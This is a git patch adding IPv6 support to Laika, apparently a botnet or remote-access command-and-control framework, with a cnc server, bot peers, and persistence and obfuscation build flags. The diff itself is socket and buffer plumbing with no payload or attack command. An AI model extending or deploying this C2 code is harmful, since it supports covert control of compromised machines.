From c4c5bc9ce51f3f88ca8614a7eda61543815cb252 Mon Sep 17 00:00:00 2001 From: CPunch Date: Sat, 4 Jun 2022 10:11:28 -0500 Subject: [PATCH] Lib: Added support for IPV6 connections --- cnc/src/cnc.c | 2 +- cnc/src/cpanel.c | 2 +- lib/include/lconfig.h.in | 1 - lib/include/lpacket.h | 4 ++-- lib/include/lpeer.h | 2 +- lib/include/lsocket.h | 2 +- lib/src/lpeer.c | 2 +- lib/src/lsocket.c | 31 ++++++++++++++----------------- shell/include/speer.h | 4 ++-- shell/src/sclient.c | 14 +++++++------- shell/src/speer.c | 12 ++++++------ 11 files changed, 36 insertions(+), 40 deletions(-) diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 72fd298..1a2f19e 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -353,7 +353,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { LAIKA_TRY /* setup and accept new peer */ - laikaS_acceptFrom(&peer->sock, &cnc->sock, peer->ipv4); + laikaS_acceptFrom(&peer->sock, &cnc->sock, peer->ipStr); laikaS_setNonBlock(&peer->sock); /* add to our pollList */ diff --git a/cnc/src/cpanel.c b/cnc/src/cpanel.c index 7b0b906..e061654 100644 --- a/cnc/src/cpanel.c +++ b/cnc/src/cpanel.c @@ -24,7 +24,7 @@ void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub)); laikaS_write(&authPeer->sock, peer->hostname, LAIKA_HOSTNAME_LEN); laikaS_write(&authPeer->sock, peer->inet, LAIKA_INET_LEN); - laikaS_write(&authPeer->sock, peer->ipv4, LAIKA_IPV4_LEN); + laikaS_write(&authPeer->sock, peer->ipStr, LAIKA_IPSTR_LEN); laikaS_writeByte(&authPeer->sock, peer->type); laikaS_writeByte(&authPeer->sock, peer->osType); diff --git a/lib/include/lconfig.h.in b/lib/include/lconfig.h.in index d6b2179..06235e0 100644 --- a/lib/include/lconfig.h.in +++ b/lib/include/lconfig.h.in @@ -14,7 +14,6 @@ /* settings */ #cmakedefine LAIKA_PERSISTENCE - #cmakedefine LAIKA_OBFUSCATE /* raw obfuscated strings */ diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 90eb7d1..5f1ee3a 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -9,7 +9,7 @@ #define LAIKA_MAX_PKTSIZE 4096 #define LAIKA_HOSTNAME_LEN 64 -#define LAIKA_IPV4_LEN 22 +#define LAIKA_IPSTR_LEN 64 #define LAIKA_INET_LEN 22 #define LAIKA_SHELL_DATA_MAX_LENGTH 2048 @@ -99,7 +99,7 @@ enum { * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot * char hostname[LAIKA_HOSTNAME_LEN]; * char inet[LAIKA_INET_LEN]; - * char ipv4[LAIKA_IPV4_LEN]; + * char ipStr[LAIKA_IPSTR_LEN]; * uint8_t peerType; * uint8_t osType; */ diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h index eff1c56..f21cea8 100644 --- a/lib/include/lpeer.h +++ b/lib/include/lpeer.h @@ -46,7 +46,7 @@ struct sLaika_peer { struct sLaika_contentContext context; uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */ uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES]; - char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN]; + char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN]; struct sLaika_pollList *pList; /* pollList we're activeList in */ struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */ void *uData; /* data to be passed to pktHandler */ diff --git a/lib/include/lsocket.h b/lib/include/lsocket.h index ef208b0..7ed340c 100644 --- a/lib/include/lsocket.h +++ b/lib/include/lsocket.h @@ -92,7 +92,7 @@ void laikaS_cleanSocket(struct sLaika_socket *sock); void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port); /* connect to ip & port */ void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */ -void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipv4); +void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipStr); bool laikaS_setNonBlock(struct sLaika_socket *sock); void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz); /* throws sz bytes away from the inBuf */ diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index f7ff867..6fc5c63 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -26,7 +26,7 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct /* zero-out peer info */ memset(peer->hostname, 0, LAIKA_HOSTNAME_LEN); memset(peer->inet, 0, LAIKA_INET_LEN); - memset(peer->ipv4, 0, LAIKA_IPV4_LEN); + memset(peer->ipStr, 0, LAIKA_IPSTR_LEN); /* init content context */ laikaF_initContext(&peer->context); diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c index 22c9b95..a736ed5 100644 --- a/lib/src/lsocket.c +++ b/lib/src/lsocket.c @@ -118,18 +118,18 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) { void laikaS_bind(struct sLaika_socket *sock, uint16_t port) { socklen_t addressSize; - struct sockaddr_in address; + struct sockaddr_in6 address; int opt = 1; if (!SOCKETINVALID(sock->sock)) LAIKA_ERROR("socket already setup!\n"); /* open our socket */ - sock->sock = socket(AF_INET, SOCK_STREAM, 0); + sock->sock = socket(AF_INET6, SOCK_STREAM, 0); if (SOCKETINVALID(sock->sock)) LAIKA_ERROR("socket() failed!\n"); - /* attach socket to the port */ + /* allow reuse of local address */ #ifdef _WIN32 if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char*)&opt, sizeof(int)) != 0) #else @@ -137,35 +137,32 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) { #endif LAIKA_ERROR("setsockopt() failed!\n"); - address.sin_family = AF_INET; - address.sin_addr.s_addr = INADDR_ANY; - address.sin_port = htons(port); + address.sin6_family = AF_INET6; + address.sin6_addr = in6addr_any; + address.sin6_port = htons(port); - addressSize = sizeof(struct sockaddr_in); + addressSize = sizeof(address); /* bind to the port */ - if (SOCKETERROR(bind(sock->sock, (struct sockaddr *)&address, addressSize))) + if (SOCKETERROR(bind(sock->sock, (struct sockaddr*)&address, addressSize))) LAIKA_ERROR("bind() failed!\n"); if (SOCKETERROR(listen(sock->sock, SOMAXCONN))) LAIKA_ERROR("listen() failed!\n"); } -void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipv4) { - struct sockaddr_in address; - socklen_t addressSize = sizeof(struct sockaddr_in); +void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ip) { + struct sockaddr_in6 address; + socklen_t addressSize = sizeof(address); sock->sock = accept(from->sock, (struct sockaddr*)&address, &addressSize); if (SOCKETINVALID(sock->sock)) LAIKA_ERROR("accept() failed!\n"); - /* read ipv4 */ - if (ipv4) { - if (inet_ntop(AF_INET, &address.sin_addr, ipv4, LAIKA_IPV4_LEN) == NULL) + /* read ip */ + if (ip) { + if (inet_ntop(AF_INET6, &address.sin6_addr, ip, LAIKA_IPSTR_LEN) == NULL) LAIKA_ERROR("inet_ntop() failed!\n"); - - /* restore null terminator */ - ipv4[LAIKA_INET_LEN-1] = '\0'; } } diff --git a/shell/include/speer.h b/shell/include/speer.h index 10dff01..831fdb3 100644 --- a/shell/include/speer.h +++ b/shell/include/speer.h @@ -6,12 +6,12 @@ typedef struct sShell_peer { uint8_t pub[crypto_kx_PUBLICKEYBYTES]; - char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN]; + char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN]; PEERTYPE type; OSTYPE osType; } tShell_peer; -tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pub, char *hostname, char *inet, char *ipv4); +tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pub, char *hostname, char *inet, char *ipStr); void shellP_freePeer(tShell_peer *peer); void shellP_printInfo(tShell_peer *peer); diff --git a/shell/src/sclient.c b/shell/src/sclient.c index 11e461e..7a844f4 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -49,7 +49,7 @@ void shellC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { - char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN]; + char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN]; uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; tShell_client *client = (tShell_client*)uData; tShell_peer *bot; @@ -58,10 +58,10 @@ void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat /* read newly connected peer's pubKey */ laikaS_read(&peer->sock, pubKey, crypto_kx_PUBLICKEYBYTES); - /* read hostname & ipv4 */ + /* read hostname & ip str */ laikaS_read(&peer->sock, hostname, LAIKA_HOSTNAME_LEN); laikaS_read(&peer->sock, inet, LAIKA_INET_LEN); - laikaS_read(&peer->sock, ipv4, LAIKA_IPV4_LEN); + laikaS_read(&peer->sock, ipStr, LAIKA_IPSTR_LEN); /* read peer's peerType & osType */ type = laikaS_readByte(&peer->sock); @@ -72,7 +72,7 @@ void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat return; /* create peer */ - bot = shellP_newPeer(type, osType, pubKey, hostname, inet, ipv4); + bot = shellP_newPeer(type, osType, pubKey, hostname, inet, ipStr); /* add peer to client */ shellC_addPeer(client, bot); @@ -151,7 +151,7 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = { false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, shellC_handleAddPeer, - crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN + LAIKA_IPV4_LEN + sizeof(uint8_t) + sizeof(uint8_t), + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN + LAIKA_IPSTR_LEN + sizeof(uint8_t) + sizeof(uint8_t), false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, shellC_handleRmvPeer, @@ -258,9 +258,9 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) { laikaS_writeByte(sock, LAIKA_OSTYPE); laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */ - /* write stub hostname & ipv4 (since we're a panel/dummy client, cnc doesn't need this information really) */ + /* write stub hostname & ip str (since we're a panel/dummy client, cnc doesn't need this information really) */ laikaS_zeroWrite(sock, LAIKA_HOSTNAME_LEN); - laikaS_zeroWrite(sock, LAIKA_IPV4_LEN); + laikaS_zeroWrite(sock, LAIKA_INET_LEN); laikaS_endOutPacket(client->peer); laikaS_setSecure(client->peer, true); /* after our handshake, all packet bodies are encrypted */ diff --git a/shell/src/speer.c b/shell/src/speer.c index 4f67ef7..06d31f3 100644 --- a/shell/src/speer.c +++ b/shell/src/speer.c @@ -3,7 +3,7 @@ #include "speer.h" #include "sterm.h" -tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname, char *inet, char *ipv4) { +tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname, char *inet, char *ipStr) { tShell_peer *peer = (tShell_peer*)laikaM_malloc(sizeof(tShell_peer)); peer->type = type; peer->osType = osType; @@ -11,15 +11,15 @@ tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char /* copy pubKey to peer's pubKey */ memcpy(peer->pub, pubKey, crypto_kx_PUBLICKEYBYTES); - /* copy hostname & ipv4 */ + /* copy hostname & ip */ memcpy(peer->hostname, hostname, LAIKA_HOSTNAME_LEN); - memcpy(peer->inet, inet, LAIKA_IPV4_LEN); - memcpy(peer->ipv4, ipv4, LAIKA_IPV4_LEN); + memcpy(peer->inet, inet, LAIKA_INET_LEN); + memcpy(peer->ipStr, ipStr, LAIKA_IPSTR_LEN); /* restore NULL terminators */ peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0'; peer->inet[LAIKA_INET_LEN-1] = '\0'; - peer->ipv4[LAIKA_IPV4_LEN-1] = '\0'; + peer->ipStr[LAIKA_IPSTR_LEN-1] = '\0'; return peer; } @@ -49,5 +49,5 @@ void shellP_printInfo(tShell_peer *peer) { char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */ sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES); - shellT_printf("\t%s-%s\n\tOS: %s\n\tINET: %s\n\tPUBKEY: %s\n", peer->ipv4, peer->hostname, shellP_osTypeStr(peer), peer->inet, buf); + shellT_printf("\t%s-%s\n\tOS: %s\n\tINET: %s\n\tPUBKEY: %s\n", peer->ipStr, peer->hostname, shellP_osTypeStr(peer), peer->inet, buf); } \ No newline at end of file